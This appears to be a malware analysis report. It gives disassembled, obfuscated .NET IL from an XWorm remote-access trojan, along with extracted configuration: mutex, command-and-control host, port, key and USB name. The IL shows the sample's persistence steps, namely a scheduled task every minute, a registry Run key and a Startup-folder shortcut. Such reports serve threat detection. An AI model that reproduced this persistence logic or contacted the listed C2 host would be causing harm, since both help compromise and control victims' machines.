| Main IL | ldsfld System.Int32 CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TQokH3NcB9amv22ey4zEpoHNFR8L5YsjDVTMtFi1a1CZA0vqjRVlz8QE67zK ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::ARrCkyUBRUkwM73gKhalYdxv31UsEGrOa9bvhJ5u8PPnbgwMgnJPnXWNitBl call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::ARrCkyUBRUkwM73gKhalYdxv31UsEGrOa9bvhJ5u8PPnbgwMgnJPnXWNitBl ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::BJCWmcOcGQCmHB7Va9Lkd1Ue2ybFOJhVncA6ZzYATVCB1mTEvf1O9NEBBhIt call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::BJCWmcOcGQCmHB7Va9Lkd1Ue2ybFOJhVncA6ZzYATVCB1mTEvf1O9NEBBhIt ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::fKf5b5K2RsosZUsb6kfw15PDBqxjkgtEEfNlzEQsqV24UWNEkBEO88lpKBtb call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::fKf5b5K2RsosZUsb6kfw15PDBqxjkgtEEfNlzEQsqV24UWNEkBEO88lpKBtb ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::KfdqLKrbdQpoN5tV4g7eda1oG2C8L0wDjoaZaKhOBzZJygpHFyp5Kl7jjsG8 call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::KfdqLKrbdQpoN5tV4g7eda1oG2C8L0wDjoaZaKhOBzZJygpHFyp5Kl7jjsG8 ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::PaF8gx3jJ2O2DH4rvyp3G8LEhBPCgoT60UXjEDr2hArO9TvGmquwP9zF7rxZ call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::PaF8gx3jJ2O2DH4rvyp3G8LEhBPCgoT60UXjEDr2hArO9TvGmquwP9zF7rxZ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bYwzlFEkGYRdJsihhx5b95thupVrGkrBhNS0mjLrYsz2E32w12OofBiCQBWx call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bYwzlFEkGYRdJsihhx5b95thupVrGkrBhNS0mjLrYsz2E32w12OofBiCQBWx ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::7hCQ5hDVQXOCtF50C6VYttTI2NkZFpZicHhn7IkH0HcL1i9wAZoySFUDWM4S call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::7hCQ5hDVQXOCtF50C6VYttTI2NkZFpZicHhn7IkH0HcL1i9wAZoySFUDWM4S ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TzBZF8ud7WL0S6W69SCDf2SpvdPcB0CFCMK0GfUFzCQtpQNDtT7n36Req0P4 call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::TzBZF8ud7WL0S6W69SCDf2SpvdPcB0CFCMK0GfUFzCQtpQNDtT7n36Req0P4 ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::dPF2RlLlHdb0NuIdPBnfU0wQfwGITgOsSqg379whkHnx69KV6A1sLxdJHjLO call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::dPF2RlLlHdb0NuIdPBnfU0wQfwGITgOsSqg379whkHnx69KV6A1sLxdJHjLO ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::d5r672kAgzfBAwKTahuk422KhYIctT5afI8yl7Lv7I4rOrWDiTkvn7zVNXQY call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::d5r672kAgzfBAwKTahuk422KhYIctT5afI8yl7Lv7I4rOrWDiTkvn7zVNXQY ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bwdtFRbQU8fBdo8mZWRt4LLU4bKvio6UHfnG1eatUCK3QuAWF5MMKGUpAI8Z call System.Object Stub.hUgYcd6Vs4ryHwAjNu1cQWK6NI8p361K7pe3Aea8h8vdE::kUamHhN4gBdMEWbJQyWaza7dHFxwJhBHnsRyXLQchxexz(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::bwdtFRbQU8fBdo8mZWRt4LLU4bKvio6UHfnG1eatUCK3QuAWF5MMKGUpAI8Z leave.s IL_012F: call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_012F: call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() call System.Boolean Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::fZTtFZwONx3lK3tPy2pjHe3tGl5CCR4YN49uwia59oG3jMzZuYfQIXxxCuwhOyyLOLXpl2e6mN3qw() brtrue.s IL_013C: call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::TUU0fW6TpKcwVVi4u5w0jzdONz9qU0UaEFY2Z4heFY2xITgBzyxLDqJoQzQQ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::TUU0fW6TpKcwVVi4u5w0jzdONz9qU0UaEFY2Z4heFY2xITgBzyxLDqJoQzQQ() ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::yYSIuop2skAVtLPhVKE2gELfBgesu8FnkAuNBIpstUH7P8PawgA405lYeybK ldstr \ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0183: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_019A: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::6xOMl86Ow3GxUKdAZ2aw6RTcZRTYPf8rHP3IKnbsVd4cSZERTNbo5pcrG2AQHtHZ8K4ywmRDbpr93 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01C5: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01C5: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.jE9mJte8u2VeuNLK6k58toiZ8U1StajD1Ni5JrmtnNGLkvulkssXSjjSaik8::OcDYQ0WUW2Mnxhsqj0PWsn78BkbtjCGKpI1LO53kMdt4JzxgO2DmJYYsvnvw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_022B: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_13 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_026F: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_13 ldc.i4.1 <null> ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_13 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_13 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_13 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0290: call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0290: call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() call My.v0wf1S1PJRlv07hC0QlTyUSbPL5wKxNucgX5IA4Jwja4yCCfewUDyDKeutN6 My.HyXZ0YixlH8YViWJEEQjKz6wBN0HKgZF1P1aNmgauFBF0l2ORCr3dsq49aJO::3QlOYnU2eOvsrkxgVdMHdzeccwZwKvlwdYVABLjtWcvJnW1LUhBvB3sPDadO() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02CB: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02CB: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String CoHmSbO9ZoQNhkdALJTcjI68hC1jHu7HvyvOlLw07LlzIh4lLvKbWjvHY3MB::rw39m3Srap50hbB1SrtaPcnGm5sDugja0tiovLnsE4HFJTsix3hDCCAYPHhn call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_11 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_11 stelem.ref <null> ldloc.s V_14 stloc.s V_15 ldloc.s V_15 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0350: stloc.s V_17 ldloc.s V_15 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_17 ldloc.s V_11 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::hpARRzD0dUVLi006X5SOPQPmzExDfgkH6QYbMcjACvt0r5OE87ANv7Ckk8RbdVIIEDufqN9yT3rmG leave.s IL_03CF: call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03CF: call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() call System.Void Stub.9agjKwTAzfhAnCuq4svftpGA8P51bdDbBKewIzId7tTnu::0zuYq6VDSSCfz7t6ISVYs3i2LUGfomH0YTkEu9aHIT4ho() call System.Void Stub.0NvjDLDxmy1J9oWsjL4vKVUwEYRduvppWFXthecquahFf::ijbUja11DYPTaSP577aXiAWvUrGwt6fC8fl2olgA2PjL2() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::jpDufCdZEB3aDsF8Z124EqWEji2vSf2HguPG1EAlSEqUaAQU385VgyWFXToJ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::vqU72TGF33wDuvMg7jTCQ3asJ6NXadcSOOS6v0RmWhMW5ofBPB6KyJc27WZx() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.jE9mJte8u2VeuNLK6k58toiZ8U1StajD1Ni5JrmtnNGLkvulkssXSjjSaik8::OcDYQ0WUW2Mnxhsqj0PWsn78BkbtjCGKpI1LO53kMdt4JzxgO2DmJYYsvnvw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0416: call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::suHTKaz5PojMbiLoScsRpTs0HoI9mzwJRALW6hxucEeyngMoii87ZhQcmNvA() call System.Void Stub.2gWXKCKDKVd0uxiGWkCWs3B5dz1LLd6cAZgxjs4Q7imh5::bmQ7cZl2gplYJY22XKUIBy7l7CpZlJO115bSoG2XabHjs() call System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::suHTKaz5PojMbiLoScsRpTs0HoI9mzwJRALW6hxucEeyngMoii87ZhQcmNvA() ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::E6tKwocQhzWtpAr2PdXmBScHe2uXxAxCFObouzPniIjzpCMkpFZn1w2lYfSm() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.LhevbATIq0Lznym39Gh3c16S9eXUeU1YB5XFeIhRh7tOvkvLGGEshdMEVz6u::5st6wAZrvKuKldxTOl9NQN8XlSLVKomyIDoMpbdRHi9N2UadlP0jrzB526fD() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
|
Name0 | Value |
|---|---|
| Mutex | jqYFB9sAguB3E3Og |
| CnC | dlpuseragent.localto.net |
| Port | 44434 |
|
Config. Field0 | Value |
|---|---|
| Mutex | jqYFB9sAguB3E3Og |
| Hosts | dlpuseragent.localto.net |
| Port | 44434 |
| KEY | craxsrat |
| USBNM | <Xwormmm> |
| LoggerPath | %ProgramData% |
| family | xworm |
|
Name0 | Value | Location |
|---|---|---|
| Mutex | jqYFB9sAguB3E3Og Malicious |
7f29a03e29a46d47e382d9b77bdcc560 |
| CnC | dlpuseragent.localto.net Malicious |
7f29a03e29a46d47e382d9b77bdcc560 |
| Port | 44434 Malicious |
7f29a03e29a46d47e382d9b77bdcc560 |